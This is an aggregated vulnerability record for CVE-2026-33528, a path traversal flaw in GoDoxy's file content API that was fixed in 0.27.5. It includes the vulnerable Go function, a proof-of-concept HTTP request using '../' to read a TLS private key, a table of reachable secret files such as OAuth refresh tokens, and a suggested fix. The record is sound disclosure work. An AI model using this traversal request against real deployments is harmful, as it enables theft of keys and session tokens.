{"id":"CVE-2026-33528","aliases":["CVE-2026-33528","GHSA-4753-cmc8-8j9v","GO-2026-4817"],"related":[],"kind":"vulnerability","state":"published","title":"GoDoxy has a Path Traversal Vulnerability in its File API","summary":"GoDoxy is a reverse proxy and container orchestrator for self-hosters. Prior to version 0.27.5, the file content API endpoint at `/api/v1/file/content` is vulnerable to path traversal. The `filename` query parameter is passed directly to `path.Join(common.ConfigBasePath, filename)` where `ConfigBasePath = \"config\"` (a relative path). No sanitization or validation is applied beyond checking that the field is non-empty (`binding:\"required\"`). An authenticated attacker can use `../` sequences to read or write files outside the intended `config/` directory, including TLS private keys, OAuth refresh tokens, and any file accessible to the container's UID. Version 0.27.5 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"GoDoxy is a reverse proxy and container orchestrator for self-hosters. Prior to version 0.27.5, the file content API endpoint at `/api/v1/file/content` is vulnerable to path traversal. The `filename` query parameter is passed directly to `path.Join(common.ConfigBasePath, filename)` where `ConfigBasePath = \"config\"` (a relative path). No sanitization or validation is applied beyond checking that the field is non-empty (`binding:\"required\"`). An authenticated attacker can use `../` sequences to read or write files outside the intended `config/` directory, including TLS private keys, OAuth refresh tokens, and any file accessible to the container's UID. Version 0.27.5 fixes the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe file content API endpoint at `/api/v1/file/content` is vulnerable to path traversal. The `filename` query parameter is passed directly to `path.Join(common.ConfigBasePath, filename)` where `ConfigBasePath = \"config\"` (a relative path). No sanitization or validation is applied beyond checking that the field is non-empty (`binding:\"required\"`).\n\nAn authenticated attacker can use `../` sequences to read or write files outside the intended `config/` directory, including TLS private keys, OAuth refresh tokens, and any file accessible to the container's UID.\n\n## Root Cause\n\n**File:** `internal/api/v1/file/get.go`, lines 68-73:\n\n```go\nfunc (t FileType) GetPath(filename string) string {\n    if t == FileTypeMiddleware {\n        return path.Join(common.MiddlewareComposeBasePath, filename)\n    }\n    return path.Join(common.ConfigBasePath, filename)\n}\n```\n\n- `common.ConfigBasePath = \"config\"` — relative path, not absolute\n- `path.Join(\"config\", \"../certs/key.pem\")` normalizes to `\"certs/key.pem\"` — escaping `config/`\n- No call to `strings.HasPrefix`, `filepath.Rel`, or any containment check exists\n- The `format:\"filename\"` struct tag is an OpenAPI/Swagger annotation only, not enforced by the validator\n\n## Proof of Concept\n\n### Environment\n\n- GoDoxy v0.27.4 (`ghcr.io/yusing/godoxy:latest`)\n- Authentication enabled with default credentials (`admin`/`password`)\n\n### Steps to Reproduce\n\n**Step 1 — Authenticate:**\n\n**Step 2 — Read file outside config/ via path traversal:**\n\n```http\nGET /api/v1/file/content?type=config&filename=../certs/secret-agent-key.pem HTTP/1.1\nHost: localhost:8888\nCookie: godoxy_token=<JWT>\n```\n\n### HTTP Response\n\n```\nHTTP/1.1 200 OK\nCache-Control: no-cache, no-store, must-revalidate\nContent-Length: 43\nContent-Type: application/godoxy+yaml\nExpires: 0\nPragma: no-cache\n\nTHIS_IS_A_SECRET_PRIVATE_KEY_FOR_AGENT_TLS\n```\n<img width=\"1489\" height=\"286\" alt=\"image\" src=\"https://github.com/user-attachments/assets/05f3464f-20ba-4913-830d-9fcc2fa1a2e3\" />\n\n## Impact\n\n### Files accessible via this vulnerability\n\n| Path (relative to `config/`) | Contents | Risk |\n|-------------------------------|----------|------|\n| `../certs/agents/{host}.zip` | CA cert + server cert + **TLS private key** | Impersonate GoDoxy server to remote agents |\n| `../data/oauth_refresh_tokens.json` | OIDC refresh tokens for all active sessions | Account takeover via token reuse |\n| `../../etc/ssl/certs/ca-certificates.crt` | System CA certificates | Information disclosure |\n| Any file readable by UID 1000 | Depends on mounted volumes | Variable |\n\nThe `PUT /api/v1/file/content` endpoint is also affected. While the content must pass YAML schema validation (config or provider format), an attacker can write valid provider YAML files outside `config/`, potentially injecting malicious route definitions.\n\n\n## Suggested Remediation\n\nValidate that the resolved path remains within the base directory:\n\n```go\nfunc (t FileType) GetPath(filename string) (string, error) {\n    var base string\n    if t == FileTypeMiddleware {\n        base = common.MiddlewareComposeBasePath\n    } else {\n        base = common.ConfigBasePath\n    }\n\n    absBase, _ := filepath.Abs(base)\n    resolved, _ := filepath.Abs(filepath.Join(base, filename))\n\n    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {\n        return \"\", fmt.Errorf(\"path traversal detected: %s\", filename)\n    }\n\n    return resolved, nil\n}\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"GoDoxy has a Path Traversal Vulnerability in its File API in github.com/yusing/godoxy","format":"markdown","source":"go"},{"lang":"es","text":"GoDoxy es un proxy inverso y orquestador de contenedores para autoalojadores. Antes de la versión 0.27.5, el endpoint de la API de contenido de archivos en '/api/v1/file/content' es vulnerable a salto de ruta. El parámetro de consulta 'filename' se pasa directamente a 'path.Join(common.ConfigBasePath, filename)' donde 'ConfigBasePath = \"config\"' (una ruta relativa). No se aplica ninguna sanitización ni validación más allá de verificar que el campo no esté vacío ('binding:\"required\"'). Un atacante autenticado puede usar secuencias '../' para leer o escribir archivos fuera del directorio 'config/' previsto, incluyendo claves privadas TLS, tokens de actualización de OAuth y cualquier archivo accesible al UID del contenedor. La versión 0.27.5 soluciona el problema.","source":"nvd"}],"published":"2026-03-24T16:35:30.000Z","modified":"2026-06-17T10:37:39.437Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 0.27.5","status":"affected"}],"vendor":"yusing","product":"godoxy","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.27.5"}],"ecosystem":"Go","package":"github.com/yusing/godoxy","purl":"pkg:golang/github.com/yusing/godoxy","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.27.5"}],"ecosystem":"Go","package":"github.com/yusing/godoxy","purl":"pkg:golang/github.com/yusing/godoxy","source":"go"},{"ranges":[{"status":"affected","fixed":"0.27.5"}],"vendor":"godoxy","product":"godoxy","cpe":"cpe:2.3:a:godoxy:godoxy:*:*:*:*:*:go:*:*","source":"nvd"}],"references":[{"url":"https://github.com/yusing/godoxy/security/advisories/GHSA-4753-cmc8-8j9v","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/yusing/godoxy/commit/a541d75bb50f1b542c096d8bc8082c3549f5c059","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/yusing/godoxy/releases/tag/v0.27.5","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33528","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/yusing/godoxy","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-27T13:45:54.133Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33528","url":"https://www.cve.org/CVERecord?id=CVE-2026-33528","licence":"CVE Terms of Use","modified":"2026-03-27T13:57:45.401Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-4753-cmc8-8j9v","url":"https://github.com/advisories/GHSA-4753-cmc8-8j9v","licence":"CC-BY-4.0","modified":"2026-03-27T21:33:43.890Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4817","url":"https://pkg.go.dev/vuln/GO-2026-4817","licence":"CC-BY-4.0","modified":"2026-03-26T21:03:39.664Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33528","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33528","licence":"Public domain","modified":"2026-06-17T10:37:39.437Z"}],"updatedAt":"2026-11-25T22:59:17.123Z","epss":{"score":0.00553,"percentile":0.476,"date":"2026-12-01T12:00:22.000Z"}}